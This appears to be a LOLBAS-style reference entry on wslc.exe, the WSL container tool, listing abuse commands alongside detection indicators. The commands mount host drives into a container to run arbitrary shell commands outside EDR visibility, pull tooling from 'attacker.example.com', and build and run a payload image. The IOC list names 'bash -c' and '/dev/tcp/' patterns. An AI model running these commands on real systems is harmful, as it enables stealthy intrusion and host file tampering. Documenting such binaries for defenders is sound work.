wslc.exe
container.exe, a byte-for-byte copy (identical file hash) in the same directory. At the time of writing, available in pre-release of WSL (version 2.9.3 or higher), and requires ‘wsl –update –pre-release’ to install. More information available under https://learn.microsoft.com/en-us/windows/wsl/wsl-containerFull path
C:\Program Files\WSL\wslc.exeC:\Program Files\WSL\container.exeCommands
Read, stage, or tamper with arbitrary host files from an EDR-blind container whose host-side process tree is masked by the WSL VM worker.
wslc run --rm -it -v C:\Users:/host ubuntu:latest bash -c "{CMD}"Pulls (if not already present) and runs a throwaway Linux container, bind-mounts a host path (here the entire
C:drive) into the container via virtiofs so the Linux payload can read, stage, or modify arbitrary host files while running outside host process visibility.os: Windows 11 (builds with WSL container support - public preview from 2026-06)
Ingress tool transfer - stage attacker tooling on the host as an OCI image via a registry pull.
wslc pull attacker.example.com/tooling:latestPulls an arbitrary OCI image from a remote (potentially attacker-controlled) registry over the registry pull protocol.
os: Windows 11 (builds with WSL container support - public preview from 2026-06)
Build and run a container image on the host to execute baked-in payloads in an EDR-blind runtime.
wslc build -t payload .wslc run --rm payloadBuilds a Linux image from a local
Containerfileon the host and runs it.os: Windows 11 (builds with WSL container support - public preview from 2026-06)
Detection
- IOCwslc.exe (or its container.exe alias) process creation invoking the run, exec, build, or pull subcommands
- IOCwslc.exe command line containing `-v`/`--volume` mapping a Windows path into a container
- IOCwslc.exe command line containing `bash -c`, `sh -c`, or `/dev/tcp/` - arbitrary shell execution / fileless download inside the container
- IOCwslc.exe with the pull subcommand referencing an unexpected or unknown container registry (anything other than an approved internal registry)
- IOCpresence of `Vmmemwslc-cli-<username>` (or `Vmmemwslc-cli-admin-<username>` for an elevated session) process
- IOCminimal or absent child-process telemetry under wslc.exe despite a `run`/`exec` subcommand
- IOChost-side file-creation events on paths corresponding to a `-v` bind-mounted folder
- IOCoutbound network connections to container registries (docker.io, ghcr.io, lscr.io, quay.io, or unknown hosts) originating from the wslc networking stack
Resources
- https://learn.microsoft.com/en-us/windows/wsl/wsl-container
- https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers
- https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/
- https://github.com/microsoft/WSL/tree/master/src/windows/wslc
- https://www.helpnetsecurity.com/2026/06/30/microsoft-linux-wsl-containers/
acknowledgement: Konrad 'unrooted' Klawikowski